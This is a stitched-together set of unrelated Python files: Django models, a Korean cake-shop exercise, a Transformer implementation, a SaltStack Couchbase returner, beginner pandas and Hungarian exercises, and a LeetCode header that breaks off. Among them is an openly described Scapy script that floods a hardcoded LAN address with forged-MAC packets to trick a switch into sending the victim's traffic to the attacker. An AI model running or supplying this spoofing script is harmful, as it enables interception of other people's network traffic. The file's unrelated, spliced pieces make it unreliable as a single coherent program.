from django.db import models
from django.contrib.auth.models import User

class Project(models.Model):
    name = models.CharField(max_length=256, unique=True)
    description = models.TextField()

class Dataset(models.Model):
    name = models.CharField(max_length=256)
    description = models.TextField()

class Participant(models.Model):
    PROJECT_MANAGER = "PM"
    RESEARCHER = "RE"
    ADMINISTRATOR = "AD"
    ROLE_CHOICES = [
        (PROJECT_MANAGER, "Project Manager"),
        (RESEARCHER, "Researcher"),
        (ADMINISTRATOR, "Administrator"),
    ]
    role = models.CharField(
        max_length=50,
        choices=ROLE_CHOICES,
        default=RESEARCHER,
    )

    user = models.ForeignKey(
        User, related_name="participants", on_delete=models.CASCADE
    )

    project = models.ForeignKey(
        Project, related_name="participants", on_delete=models.CASCADE
    )

    class Meta():
        unique_together = ("user", "project")

class WorkPackage(models.Model):
    NEW = "N"
    UNDERWAY = "U"
    COMPLETED = "C"
    STATUS_CHOICES = [
        (NEW, "New"),
        (UNDERWAY, "Underway"),
        (COMPLETED, "Completed"),
    ]
    status = models.CharField(
        max_length=32,
        choices=STATUS_CHOICES,
        default=NEW,
    )
    project = models.ForeignKey(
        Project, on_delete=models.CASCADE, related_name="work_packages"
    )
    name = models.CharField(max_length=256)
    description = models.TextField()
    participants = models.ManyToManyField(
        Participant,
        related_name="work_packages",
        through="WorkPackageParticipant",
        blank=True,
    )
    datasets = models.ManyToManyField(
        Dataset, related_name="work_packages", blank=True
    )

class WorkPackageParticipant(models.Model):
    work_package = models.ForeignKey(
        WorkPackage, related_name="work_package_participants", on_delete=models.CASCADE
    )
    participant = models.ForeignKey(
        Participant, related_name="+", on_delete=models.CASCADE
    )

    class Meta():
        unique_together = ("participant", "work_package")


class Cake:
    def __init__(self, name, price, ingredient):
        self.name = name
        self.price = price
        self.ingredient = ingredient

class Shop:
    def __init__(self):
        self.ingredient = {}
        self.product = {}

    def buy_ingredient(self, buy_dict):
        for key, value in buy_dict.items():
            if key in self.ingredient.keys():
                self.ingredient[key] += value
            else:
                self.ingredient[key] = value

    def current_ingredient(self):
        print("현재 보유한 재료는 ", end="")
        for idx, (key, value) in enumerate(self.ingredient.items()):
            print(f"{key}({value}개)", end=", " if idx < len(self.ingredient) - 1 else "입니다.\n")

    def make_cake(self, cake):
        need_ingredients = {}
        for key, value in cake.ingredient.items():
            if key not in self.ingredient.keys():
                need_ingredients[key] = value
            elif self.ingredient[key] < value:
                need_ingredients[key] = value - self.ingredient[key]

        if len(need_ingredients) != 0:
            for idx, (key, value) in enumerate(need_ingredients.items()):
                print(f"{key} 재료가 {value}개", end=", " if idx < len(need_ingredients) - 1 else " 부족합니다.\n")
            return

        for key, value in cake.ingredient.items():
            if value == self.ingredient[key]:
                del self.ingredient[key]
            else:
                self.ingredient[key] -= value

        self.product[cake] = self.product[cake] + 1 if cake in self.product.keys() else 1

        print(f"{cake.name} 1개 완성!")

class Pos:
    def __init__(self, cake_shop):
        self.cake_shop = cake_shop
        self.money = 0

    def current_cakes(self):
        print("현재 재고는")
        for key, value in self.cake_shop.product.items():
            print(f"{key.name}: {value}")

    def sell_cake(self, cakename):
        for key, value in self.cake_shop.product.items():
            if key.name == cakename and value > 0:
                print(f"{key.name} 판매 완료. 현재 남은 {key.name}의 개수는 {value - 1}개 입니다.")
                self.money += key.price
                if value == 1:
                    del self.cake_shop.product[key]
                else:
                    self.cake_shop.product[key] -= 1
                return

        print(f"{cakename} 재고가 없습니다.")

    def print_current_money(self):
        print(f"현재 판매 금액은 총 {self.money}원 입니다.")

cheesecake = Cake("Cheese Cake", 6900, {'cheese': 2, 'egg': 2, 'butter': 2})
chococake = Cake("Chocolate Cake", 5900, {'chocolate': 2, 'egg': 2, 'butter': 2})
carrotcake = Cake("Carrot Cake", 5500, {'carrot': 2, 'walnut': 2, 'egg': 1, 'butter': 1})
creamcake = Cake("Fresh Cream Cake", 4500, {'cream': 3, 'egg': 1, 'butter': 1})
swpotatocake = Cake("Sweet Potato Cake", 6500, {'sweet potato': 3, 'egg': 2, 'butter': 1})

cake_shop = Shop()
cake_shop.buy_ingredient({'cheese': 5, 'carrot': 3, 'sweet potato': 3, 'egg': 10, 'butter': 10})
cake_shop.current_ingredient()
cake_shop.buy_ingredient({'chocolate': 3, 'walnut': 2, 'egg': 12, 'butter': 12})
cake_shop.current_ingredient()

print("\nMAKE CAKE")
cake_shop.make_cake(creamcake)
print(cake_shop.ingredient)
cake_shop.make_cake(carrotcake)
print(cake_shop.ingredient)
cake_shop.make_cake(carrotcake)
print(cake_shop.ingredient)
cake_shop.make_cake(cheesecake)
print(cake_shop.ingredient)
cake_shop.make_cake(cheesecake)
print(cake_shop.ingredient)
cake_shop.make_cake(chococake)
print(cake_shop.ingredient)
cake_shop.make_cake(swpotatocake)
print(cake_shop.ingredient)
cake_shop.current_ingredient()

pos = Pos(cake_shop)
print()
pos.current_cakes()

print()
pos.sell_cake('Cheese Cake')
pos.current_cakes()

print()
pos.sell_cake('Cheese Cake')
pos.current_cakes()

print()
pos.sell_cake('Chocolate Cake')
pos.current_cakes()

print()
pos.sell_cake('Cheese Cake')

print()
pos.print_current_money()


'''
	This script works by constantly PINGing an IP address with a fake MAC address
	thereby spoofing the switch into thinking that you are the rightful owner of this MAC address.
	Therefore, (in theory) all the traffic coming from or to the MAC address will be sent to you.
'''
from scapy.all import *
import time

ip = "10.1.40.7"
mac = "74:27:ea:e3:f0:9d"
iface = "以太网"

def macspoof(ip, mac):
    # create an ICMP echo request packet
    p = Ether(src=mac) / IP(dst=ip) / ICMP()
    print("PING {} with MAC {}".format(ip, mac))
    while True:
        try:
            sendp(p, verbose=0,
                  iface=iface)
            time.sleep(0.1)

        except KeyboardInterrupt:
            exit(0)

macspoof(ip, mac)


# This simple script will save the current space center to a PDF in your current font folder.

from mojo.UI import CurrentSpaceCenter, SpaceCenterToPDF
import time
import os

font = CurrentFont()

if font and CurrentSpaceCenter():

    ufoPath = font.path
    ufoDirectory = os.path.dirname(ufoPath)
    fileName, fileExtension = os.path.splitext(ufoPath)

    t = time.strftime("_%Y-%m-%d_%H-%M")

    pdf = fileName + t + ".pdf"
    path = os.path.join(ufoDirectory, pdf)

    SpaceCenterToPDF(path)

    cmd = "open %s" % path
    os.system(cmd)


minloc = np.argmin(np.abs(lyapmean_clv))
angle_un_s = np.zeros(t.shape[0])
corr_un_s = np.zeros(t.shape[0])
angle_1 = np.zeros((t.shape[0],M-1))
corr_1 = np.zeros((t.shape[0],M-1))
for tn,ti in enumerate(t):
    q1, _ = np.linalg.qr(CLV[tn,:,0:minloc,0], mode='reduced')
    q2, _ = np.linalg.qr(CLV[tn,:,minloc+1:,0], mode='reduced')
    s=np.linalg.svd(np.matmul(np.transpose(q1),q2),full_matrices = 0, compute_uv=0)
    angle_un_s[tn]=np.arccos(s[0])
    corr_un_s[tn]=s[0]
    for c in range(0,M-1):
        q1, _ = np.linalg.qr(CLV[tn,:,0:c+1,0], mode='reduced')
        q2, _ = np.linalg.qr(CLV[tn,:,c+1:,0], mode='reduced')
        s=np.linalg.svd(np.matmul(np.transpose(q1),q2),full_matrices = 0, compute_uv=0)
        angle_1[tn,c]=np.arccos(s[0])
        corr_1[tn,c]=s[0]


# -*- coding: utf-8 -*-
#
#Date: 2023-05-27 15:03:45
#Author: unknowwhite@outlook.com
#WeChat: Ben_Xiaobai
#LastEditTime: 2023-05-28 15:15:49
#FilePath: \ghost_sa_github_cgq\tools\update_shortcut.py
#
import sys
sys.path.append('./')
from component.db_op import do_tidb_exe,do_tidb_select
from component.url_tools import is62hex
from component.db_func import update_shortdec
from component.base62 import Base62
from concurrent.futures import ThreadPoolExecutor,wait,ALL_COMPLETED

base62 = Base62()

def update_shortcut_table(import_list):
    #this function is compatible with  tidb since version 3.0.3
    create_temp_table_sql = """CREATE TABLE `shortcut_new` (
`project` varchar(255) DEFAULT NULL COMMENT '项目名',
`short_url` varchar(255) DEFAULT NULL COMMENT '短链地址',
`short_url_dec` bigint(18) NOT NULL DEFAULT '0' COMMENT '短链地址十进制表达。正数是自身创建的。0是网站外带进来的需要参与排序的。-1是手动创建或修改不参与排序的。',
`long_url` varchar(768) DEFAULT NULL COMMENT '长链地址',
`expired_at` int(11) DEFAULT NULL COMMENT '过期时间',
`created_at` int(11) DEFAULT NULL COMMENT '创建时间',
`src` varchar(10) DEFAULT NULL COMMENT '使用的第三方创建源',
`src_short_url` varchar(255) DEFAULT NULL COMMENT '创建源返回的短地址',
`submitter` varchar(255) DEFAULT NULL COMMENT '由谁提交',
`utm_source` varchar(2048) DEFAULT NULL COMMENT 'utm_source',
`utm_medium` varchar(2048) DEFAULT NULL COMMENT 'utm_medium',
`utm_campaign` varchar(2048) DEFAULT NULL COMMENT 'utm_campaign',
`utm_content` varchar(2048) DEFAULT NULL COMMENT 'utm_content',
`utm_term` varchar(2048) DEFAULT NULL COMMENT 'utm_term',
KEY `long_url` (`long_url`),
KEY `short_url_dec`(`short_url_dec`),
UNIQUE KEY `short_url` (`short_url`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;"""
    duplicate_shortcut_date = """INSERT INTO shortcut_new SELECT
`project`,
`short_url`,
0 AS `short_url_dec`,
`long_url`,
`expired_at`,
`created_at`,
`src`,
`src_short_url`,
`submitter`,
`utm_source`,
`utm_medium`,
`utm_campaign`,
`utm_content`,
`utm_term`
FROM
shortcut
GROUP BY
`project`,
`short_url`,
`short_url_dec`,
`long_url`,
`expired_at`,
`created_at`,
`src`,
`src_short_url`,
`submitter`,
`utm_source`,
`utm_medium`,
`utm_campaign`,
`utm_content`,
`utm_term`;"""
    disable_oldversion = """RENAME TABLE shortcut TO shortcut_backup;"""
    enable_newversion = """RENAME TABLE shortcut_new TO shortcut;"""
    result = do_tidb_exe(sql=create_temp_table_sql,retrycount=0)
    print("创建shortcut_new",result[0])
    result = do_tidb_exe(sql=duplicate_shortcut_date,retrycount=0)
    print("从原shortcut复制数据",result[1])
    result = do_tidb_exe(sql=disable_oldversion,retrycount=0)
    print("将原表改名shortcut_old",result[1])
    result = do_tidb_exe(sql=enable_newversion,retrycount=0)
    print("启用新表")
    src_list = ','.join(import_list)
    select_manual_history = """select short_url from shortcut where src in ({src_list})""".format(src_list=src_list)
    short_url_list = do_tidb_select(sql=select_manual_history)[0]
    global success_count,fail_count
    success_count = 0
    fail_count = 0
    tasklist = []
    print('根据',src_list,'找到需要转换的自主shorturl共',len(short_url_list))
    with ThreadPoolExecutor(max_workers=5) as worker:
        for short_url in short_url_list:
            tasklist.append(worker.submit(update_history,short_url[0]))
        wait(tasklist, return_when=ALL_COMPLETED)
    print('根据',src_list,'找到需要转换的自主shorturl共',len(short_url_list))
    print('已完成历史自主key的10进制转换其中成功：',success_count,'，失败：',fail_count)

def update_history(short_url):
    global success_count,fail_count
    result62 = is62hex(text=short_url)
    if result62[0] == 0:
        update_shortdec(short_url=short_url,short_url_dec=-1)
        print(short_url,'无法转换为10进制，因为包含',result62[1],'。认为这是人工编写的，所以short_url_dec讲标记为-1。')
        fail_count += 1
    elif result62[0] == 1:  # if the text is valid, convert it to 10-base and save it.
        dec = base62.decode_62to10(str62=short_url)
        update_shortdec(short_url=short_url,short_url_dec=dec)
        # print(short_url,'已被转换为',dec)
        success_count += 1
        if success_count%200 == 0:
            print('已完成转换',success_count)

if __name__ == "__main__":
    import_list = ['"import"','"importer"','"sensors"'] #用来定义哪些创建的源是需要转换为10进制的。默认转换导入的和从神策迁入的
    update_shortcut_table(import_list=import_list)


import torch
from torch import nn, einsum
import numpy as np
from einops import rearrange, repeat
from einops.layers.torch import Rearrange

def pair(t):
    return t if isinstance(t, tuple) else (t, t)

class AddPositionEmbs(nn.Module):
    """向输入中添加可学习的位置嵌入模块 """
    def __init__(self,inputs_positions=None):
        super(AddPositionEmbs, self).__init__()
        """
        默认情况下，这一层使用固定的sinusoidal embedding table。
        如果需要一个可学习的位置嵌入，将初始化器传递给posemb_init。
        Args:
            inputs: input data.
            inputs_positions: input position indices for packed sequences.
            posemb_init: positional embedding initializer.
        Returns:
            output: `(bs, timesteps, in_dim)`
        """
        self.inputs_positions = inputs_positions

    def forward(self, inputs):
        # inputs.shape is (batch_size, seq_len/embeddings num, emb_dim).
        assert inputs.ndim == 3, ('Number of dimensions should be 3,'
                                  ' but it is: %d' % inputs.ndim)
        pos_emb_shape = (1, inputs.shape[1], inputs.shape[2])#torch.Size([1, 65, 1024])
        pe = nn.Parameter(torch.randn(pos_emb_shape))#随机生成张量，尺寸为：torch.Size([1, 65, 1024])
        #print(pe)
        if self.inputs_positions is None:
            # Normal unpacked case:
            return inputs + pe
        else:
            # For packed data we need to use known position indices:
            return inputs + nn.take(pe[0], self.inputs_positions, axis=0)

class MlpBlock(nn.Module):
    """Transformer MLP / feed-forward block. 模块"""

    """
    Linear -> Gelu -> Dropout -> linear -> Dropout
    """
    def __init__(self, mlp_dim, Dim=1024, out_dim=None, dropout_rate=0.1):
        super(MlpBlock,self).__init__()
        self.out_dim = out_dim
        self.mlp_dim = mlp_dim
        self.Dim = Dim
        self.dropout_rate = dropout_rate

    def forward(self, inputs):
        actual_out_dim = inputs.shape[-1] if self.out_dim is None else self.out_dim
        output = nn.Sequential(
            nn.Linear(self.Dim, self.mlp_dim),
            nn.GELU(),
            nn.Dropout(self.dropout_rate),
            nn.Linear(self.mlp_dim, actual_out_dim),
            nn.Dropout(self.dropout_rate)
        )
        return output(inputs)

class Attention(nn.Module):
    # attention
    def __init__(self, Dim = 1024, heads = 8, dim_head = 64, dropout = 0.1):
        super().__init__()
        inner_dim = dim_head *  heads  # 计算最终进行全连接操作时输入神经元的个数，64*16=1024
        project_out = not (heads == 1 and dim_head == Dim)  # 多头注意力并且输入和输出维度相同时为True

        self.heads = heads  # 多头注意力中“头”的个数
        self.scale = dim_head ** -0.5  # 缩放操作，论文 Attention is all you need 中有介绍

        self.attend = nn.Softmax(dim = -1)  # 初始化一个Softmax操作
        self.to_qkv = nn.Linear(Dim, inner_dim * 3, bias = False)  # 对Q、K、V三组向量先进性线性操作

        # 线性全连接，如果不是多头或者输入输出维度不相等，进行空操作
        self.to_out = nn.Sequential(
            nn.Linear(inner_dim, Dim),
            nn.Dropout(dropout)
        ) if project_out else nn.Identity()

    def forward(self, x):
        b, n, _, h = *x.shape, self.heads  # 获得输入x的维度和多头注意力的“头”数
        qkv = self.to_qkv(x).chunk(3, dim = -1)  # 先对Q、K、V进行线性操作，然后chunk乘三三份
        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h = h), qkv)  # 整理维度，获得Q、K、V

        dots = einsum('b h i d, b h j d -> b h i j', q, k) * self.scale  # Q, K 向量先做点乘，来计算相关性，然后除以缩放因子

        attn = self.attend(dots)  # 做Softmax运算

        out = einsum('b h i j, b h j d -> b h i d', attn, v)  # Softmax运算结果与Value向量相乘，得到最终结果
        out = rearrange(out, 'b h n d -> b n (h d)')  # 重新整理维度
        return self.to_out(out)  # 做线性的全连接操作或者空操作（空操作直接输出out）

class Encoder1DBlock(nn.Module):
    """Transformer encoder 模块中的 layer结构."""
    def __init__(self,
                 Dim,
                 heads,
                 dim_head,
                 mlp_dim,
                 dropout_rate=0.1,
                 attention_dropout_rate=0.1,
                 **attention_kwargs
                ):
        """Applies Encoder1DBlock module.

        Args:
          inputs: input data.
          mlp_dim: dimension of the mlp on top of attention block.
          dtype: the dtype of the computation (default: float32).
          dropout_rate: dropout rate.
          attention_dropout_rate: dropout for attention heads.
          deterministic: bool, deterministic or not (to apply dropout).
          **attention_kwargs: kwargs passed to nn.SelfAttention

        Returns:
          output after transformer encoder block.
        """
        super(Encoder1DBlock, self).__init__()
        self.Dim = Dim
        self.heads = heads
        self.dim_head = dim_head
        self.mlp_dim = mlp_dim
        self.dropout_rate = dropout_rate
        self.attention_dropout_rate = attention_dropout_rate

    def forward(self, inputs):
        # Attention block.
        assert inputs.ndim == 3
        ln = nn.LayerNorm(self.Dim)
        x = ln(inputs)#torch.Size([B, 65, 1024])
        attention = Attention(Dim = self.Dim,
                            heads = self.heads,
                            dim_head = self.dim_head,
                            dropout = self.attention_dropout_rate
                            )
        x = attention(x)
        #print(x.shape)#torch.Size([B, 65, 1024])
        dropout = nn.Dropout(self.dropout_rate)
        x = dropout(x)#torch.Size([B, 65, 1024])
        x = x + inputs
        #print(x.shape)  # torch.Size([B, 65, 1024])

        # MLP block.
        ln = nn.LayerNorm(self.Dim)
        y = ln(x)
        #print(y.shape)#torch.Size([1, 65, 1024])
        mlpblock = MlpBlock(mlp_dim = self.mlp_dim,
                     Dim = self.Dim,
                     dropout_rate = self.dropout_rate)
        y = mlpblock(y)
        #print(y.shape)#torch.Size([B, 65, 1024])
        return x + y

class Encoder(nn.Module):
    """完整的Transformer Model Encoder 模块 for sequence to sequence translation."""

    def __init__(self,
                 Dim,
                 num_layers,
                 mlp_dim,
                 heads,
                 dim_head,
                 inputs_positions=None,
                 dropout_rate=0.1,
                 **attention_kwargs
                ):
        """Applies Transformer model on the inputs.
            Args:
              num_layers: number of layers
              mlp_dim: dimension of the mlp on top of attention block
              inputs_positions: input subsequence positions for packed examples.
              dropout_rate: dropout rate
              train: if it is training,
              **attention_kwargs: kwargs passed to nn.SelfAttention
            Returns:
              output of a transformer encoder.
        """
        super(Encoder, self).__init__()
        self.Dim = Dim
        self.num_layers = num_layers
        self.mlp_dim = mlp_dim
        self.inputs_positions = inputs_positions
        self.dropout_rate = dropout_rate
        self.heads = heads
        self.dim_head = dim_head

    def forward(self,inputs):
        #inputs.shape = torch.Size([B, 65, 1024])

        assert inputs.ndim == 3  # (batch, len, emb)

        addpositionembs = AddPositionEmbs(inputs_positions = self.inputs_positions)
        x = addpositionembs(inputs)#torch.Size([B, 65, 1024]),添加了position embedding
        #print(x.shape)
        dropout = nn.Dropout(self.dropout_rate)
        x = dropout(x)#torch.Size([B, 65, 1024])

        # Input Encoder
        for lyr in range(self.num_layers):
            #添加num_layers个Encoder块构成完整的Transformer模块
            encoder1dblock = Encoder1DBlock(
                Dim = self.Dim,
                mlp_dim = self.mlp_dim,
                dropout_rate = self.dropout_rate,
                heads = self.heads,
                dim_head= self.dim_head
            )
            x = encoder1dblock(x)
        ln = nn.LayerNorm(self.Dim)
        encoded = ln(x)

        return encoded

class VisionTransformer(nn.Module):
    """完整的ViT结构"""

    def __init__(self,
                 image_size,
                 patch_size,
                 num_classes,#一共有多少类别
                 Dim,
                 depth,
                 heads,
                 mlp_dim,
                 pool = 'cls',
                 channels = 3,
                 dim_head = 64,
                 dropout = 0.,
                 emb_dropout = 0.1):
        super(VisionTransformer, self).__init__()
        image_height, image_width = pair(image_size)#image_size=256 -> image_height, image_width = 256
        patch_height, patch_width = pair(patch_size)#patch_size=32 -> patch_height, patch_width = 32

        #图像尺寸和patch尺寸必须要整除，否则报错
        assert image_height % patch_height == 0 and image_width % patch_width == 0, 'Image dimensions must be divisible by the patch size.'
        #计算出一张图可以分成多少patch；这里：8*8=64，即一张图分成了64个patch
        num_patches = (image_height // patch_height) * (image_width // patch_width)
        patch_dim = channels * patch_height * patch_width   #3*32*32=3*1024=3072，计算压成一维所需多少容量
        #print(patch_dim)

        assert pool in {'cls', 'mean'}, 'pool type must be either cls (cls token) or mean (mean pooling)'

        #将一整张图变成patch embeding
        self.to_patch_embedding = nn.Sequential(
            #https://blog.csdn.net/csdn_yi_e/article/details/109143580
            #按给出的模式(注释)重组张量，其中模式中字母只是个表示，没有具体含义
            Rearrange('b c (h p1) (w p2) -> b (h w) (p1 p2 c)', p1=patch_height, p2=patch_width),#torch.Size([B, 64, 3072]),一张图像分成了64个patch，并将每个patch压成1维
            nn.Linear(patch_dim, Dim),#torch.Size([B, 64, 1024]),线性投影，将每个patch降维到1024维，得到patch embeddings
        )

        self.cls_token = nn.Parameter(torch.randn(1, 1, Dim))#torch.Size([1, 1, 1024])
        #print(self.cls_token.shape)
        self.dropout = nn.Dropout(emb_dropout)

        self.transformer = Encoder(num_layers = depth,#6
                                   mlp_dim = mlp_dim,#2048
                                   dropout_rate = dropout,#0.1
                                   heads = heads,#16
                                   dim_head = dim_head,#64
                                   Dim = Dim#1024
                                   )

        self.pool = pool
        self.to_latent = nn.Identity()#https://blog.csdn.net/artistkeepmonkey/article/details/115067356

        self.mlp_head = nn.Sequential(
            nn.LayerNorm(Dim),
            nn.Linear(Dim, num_classes)##torch.Size([B, 1024]) -->
        )

    def forward(self, inputs):
        x = self.to_patch_embedding(inputs)
        #print(x.shape)
        b, n, _ = x.shape #torch.Size([B, 64, 1024])

        cls_tokens = repeat(self.cls_token, '() n d -> b n d', b=b)#如果batch size=2，则torch.Size([2, 1, 1024])，相当于有多少张图就有多少个cls_token
        #print(cls_tokens.shape)#torch.Size([1, 1, 1024]),torch.Size([2, 1, 1024]),torch.Size(B, 1, 1024])....
        x = torch.cat((cls_tokens, x), dim=1)#torch.Size([B, 65, 1024])
        #print(x.shape)
        x = self.dropout(x)#torch.Size([B, 65, 1024])
        x = self.transformer(x)
        #向输入中添加position embedding -> Dropout -> num_layers个Encoder块 ->
            #对于每个Encoder块单元：输出都为：torch.Size([B, 65, 1024])
            #整个transformer输出尺寸：torch.Size([B, 65, 1024])

        #print(x[:, 0].shape)#torch.Size([B, 1024]),
        x = x.mean(dim=1) if self.pool == 'mean' else x[:, 0]
        #print(x.shape)#torch.Size([B, 1024])
        x = self.to_latent(x)#torch.Size([B, 1024])
        return self.mlp_head(x)#torch.Size([B, 1024]) --> torch.Size([B, num_classes])


import pandas as pd
import numpy as np

records1 = pd.Series({'Name':'Claude', 'Class':'Biology','Age':35})
records2 = pd.Series({'Name':'Richard', 'Class':'Computer','Age':33})
records3 = pd.Series({'Name':'Runa', 'Class':'Economy','Age':34})

df = pd.DataFrame([records1,records2,records3],index=["school1","school2","school1"])

print(df)

students = [{'Name':'Claude', 'Class':'Biology','Age':35},{'Name':'Richard', 'Class':'Computer','Age':33},
            {'Name':'Runa', 'Class':'Economy','Age':34}]

df1 = pd.DataFrame(students,index=["school1","school2","school1"])
print(df1)
print(df1.T)
print(df.index)
df['Sex'] = None
print(df)
print(df1.loc["school1","Name"])
print(df1.loc["school2","Name"])

copy_df = df1.copy()
copy_df.drop("school2",inplace=True,axis=0)
print(copy_df)

df = pd.read_csv('Week2/datasets/Admission_Predict.csv', index_col=0)
df.columns = (x.lower().strip() for x in df.columns)

print(df.columns)


# írd ki egy szám abszolút értékét

n = int(input("szám?"))
if n > 0:
    print(n)
elif n < 0:
    print(-n)

# válaszd ki a kisebb számot
i = 10
j = 6

if i > j:
    print(j)
elif j > i:
    print(i)


import unittest
from pyapp import rotate_clockwise

class RotateClockwise(unittest.TestCase):
    def setUp(self):
        self.rotate_clockwise = rotate_clockwise.rotate_clockwise
    def test_rotate_clockwise(self):
        m3 = [[1,2,3],[4,5,6],[7,8,9]]
        m4 = [[5,1,9,11],[2,4,8,10],[13,3,6,7],[15,14,12,16]]
        m3R = [[7,4,1],[8,5,2],[9,6,3]]
        m4R = [[15,13,2,5],[14,3,4,1],[12,6,8,9],[16,7,10,11]]
        matrices = [
            (m3, m3R),
            (m4, m4R),
        ]
        for matrix, result in matrices:
            n = len(matrix)
            self.rotate_clockwise(matrix)

            #1. checks if matrix is still a list
            self.assertTrue(isinstance(matrix, list))
            #2. check if 2D matrix size is the same
            self.assertTrue(len(matrix) == len(matrix[0]) == n)
            #3. checks if rotation result is correct
            self.assertTrue(matrix == result)


# -*- coding: utf-8 -*-
'''
Simple returner for Couchbase. Optional configuration
settings are listed below, along with sane defaults.

couchbase.host:   'salt'
couchbase.port:   8091
couchbase.bucket: 'salt'
couchbase.skip_verify_views: False

  To use the couchbase returner, append '--return couchbase' to the salt command. ex:

    salt '*' test.ping --return couchbase

All of the return data will be stored in documents as follows:

JID
===
load: load obj
tgt_minions: list of minions targeted
nocache: should we not cache the return data

JID/MINION_ID
=============
return: return_data
out: out_data
'''
from __future__ import absolute_import

import logging

try:
    import couchbase
    HAS_DEPS = True
except ImportError:
    HAS_DEPS = False

# Import salt libs
import salt.utils
import salt.utils.jid

log = logging.getLogger(__name__)

# Define the module's virtual name
__virtualname__ = 'couchbase'

# some globals
COUCHBASE_CONN = None
DESIGN_NAME = 'couchbase_returner'
VERIFIED_VIEWS = False

def __virtual__():
    if not HAS_DEPS:
        return False

    # try to load some faster json libraries. In order of fastest to slowest
    json = salt.utils.import_json()
    couchbase.set_json_converters(json.dumps, json.loads)

    return __virtualname__

def _get_options():
    '''
    Get the couchbase options from salt. Apply defaults
    if required.
    '''
    return {'host': __opts__.get('couchbase.host', 'salt'),
            'port': __opts__.get('couchbase.port', 8091),
            'bucket': __opts__.get('couchbase.bucket', 'salt')}

def _get_connection():
    '''
    Global function to access the couchbase connection (and make it if its closed)
    '''
    global COUCHBASE_CONN
    if COUCHBASE_CONN is None:
        opts = _get_options()
        COUCHBASE_CONN = couchbase.Couchbase.connect(host=opts['host'],
                                                     port=opts['port'],
                                                     bucket=opts['bucket'])
    return COUCHBASE_CONN

def _verify_views():
    '''
    Verify that you have the views you need. This can be disabled by
    adding couchbase.skip_verify_views: True in config
    '''
    global VERIFIED_VIEWS

    if VERIFIED_VIEWS or __opts__.get('couchbase.skip_verify_views', False):
        return
    cb_ = _get_connection()
    ddoc = {'views': {'jids': {'map': "function (doc, meta) { if (meta.id.indexOf('/') === -1 && doc.load){ emit(meta.id, null) } }"},
                      'jid_returns': {'map': "function (doc, meta) { if (meta.id.indexOf('/') > -1){ key_parts = meta.id.split('/'); emit(key_parts[0], key_parts[1]); } }"}
                      }
            }

    try:
        curr_ddoc = cb_.design_get(DESIGN_NAME, use_devmode=False).value
        if curr_ddoc['views'] == ddoc['views']:
            VERIFIED_VIEWS = True
            return
    except couchbase.exceptions.HTTPError:
        pass

    cb_.design_create(DESIGN_NAME, ddoc, use_devmode=False)
    VERIFIED_VIEWS = True

def _get_ttl():
    '''
    Return the TTL that we should store our objects with
    '''
    return __opts__['keep_jobs'] * 60 * 60  # keep_jobs is in hours

#TODO: add to returner docs-- this is a new one
def prep_jid(nocache=False, passed_jid=None):
    '''
    Return a job id and prepare the job id directory
    This is the function responsible for making sure jids don't collide (unless its passed a jid)
    So do what you have to do to make sure that stays the case
    '''
    if passed_jid is None:
        jid = salt.utils.jid.gen_jid()
    else:
        jid = passed_jid

    cb_ = _get_connection()

    try:
        cb_.add(str(jid),
               {'nocache': nocache},
               ttl=_get_ttl(),
               )
    except couchbase.exceptions.KeyExistsError:
        # TODO: some sort of sleep or something? Spinning is generally bad practice
        if passed_jid is None:
            return prep_jid(nocache=nocache)

    return jid

def returner(load):
    '''
    Return data to the local job cache
    '''
    cb_ = _get_connection()
    try:
        jid_doc = cb_.get(load['jid'])
        if jid_doc.value['nocache'] is True:
            return
    except couchbase.exceptions.NotFoundError:
        log.error(
            'An inconsistency occurred, a job was received with a job id '
            'that is not present in the local cache: {jid}'.format(**load)
        )
        return False

    hn_key = '{0}/{1}'.format(load['jid'], load['id'])
    try:
        ret_doc = {'return': load['return']}
        if 'out' in load:
            ret_doc['out'] = load['out']

        cb_.add(hn_key,
               ret_doc,
               ttl=_get_ttl(),
               )
    except couchbase.exceptions.KeyExistsError:
        log.error(
            'An extra return was detected from minion {0}, please verify '
            'the minion, this could be a replay attack'.format(
                load['id']
            )
        )
        return False

def save_load(jid, clear_load):
    '''
    Save the load to the specified jid
    '''
    cb_ = _get_connection()

    try:
        jid_doc = cb_.get(str(jid))
    except couchbase.exceptions.NotFoundError:
        log.warning('Could not write job cache file for jid: {0}'.format(jid))
        return False

    # if you have a tgt, save that for the UI etc
    if 'tgt' in clear_load:
        ckminions = salt.utils.minions.CkMinions(__opts__)
        # Retrieve the minions list
        minions = ckminions.check_minions(
            clear_load['tgt'],
            clear_load.get('tgt_type', 'glob')
            )
        # save the minions to a cache so we can see in the UI
        jid_doc.value['minions'] = minions

    jid_doc.value['load'] = clear_load

    cb_.replace(str(jid),
               jid_doc.value,
               cas=jid_doc.cas,
               ttl=_get_ttl()
               )

def get_load(jid):
    '''
    Return the load data that marks a specified jid
    '''
    cb_ = _get_connection()

    try:
        jid_doc = cb_.get(str(jid))
    except couchbase.exceptions.NotFoundError:
        return {}

    ret = jid_doc.value['load']
    if 'minions' in jid_doc.value:
        ret['Minions'] = jid_doc.value['minions']

    return ret

def get_jid(jid):
    '''
    Return the information returned when the specified job id was executed
    '''
    cb_ = _get_connection()
    _verify_views()

    ret = {}

    for result in cb_.query(DESIGN_NAME, 'jid_returns', key=str(jid), include_docs=True):
        ret[result.value] = result.doc.value

    return ret

def get_jids():
    '''
    Return a list of all job ids
    '''
    cb_ = _get_connection()
    _verify_views()

    ret = {}

    for result in cb_.query(DESIGN_NAME, 'jids', include_docs=True):
        ret[result.key] = _format_jid_instance(result.key, result.doc.value['load'])

    return ret

def _format_job_instance(job):
    '''
    Return a properly formatted job dict
    '''
    ret = {'Function': job.get('fun', 'unknown-function'),
           'Arguments': list(job.get('arg', [])),
           # unlikely but safeguard from invalid returns
           'Target': job.get('tgt', 'unknown-target'),
           'Target-type': job.get('tgt_type', []),
           'User': job.get('user', 'root')}

    if 'metadata' in job:
        ret['Metadata'] = job.get('metadata', {})
    else:
        if 'kwargs' in job:
            if 'metadata' in job['kwargs']:
                ret['Metadata'] = job['kwargs'].get('metadata', {})
    return ret

def _format_jid_instance(jid, job):
    '''
    Return a properly formatted jid dict
    '''
    ret = _format_job_instance(job)
    ret.update({'StartTime': salt.utils.jid.jid_to_time(jid)})
    return ret


# 257. Binary Tree Paths
# Easy
#
# 2497
#
# 129
#
# Add to List
#
# Share
# Given the root of a binary tree, return all root-to-leaf paths in any order.
#
# A leaf is a node with no children.
#
#
#
# Example 1:
#
#
# Input: root = [1,2,3,null,5]
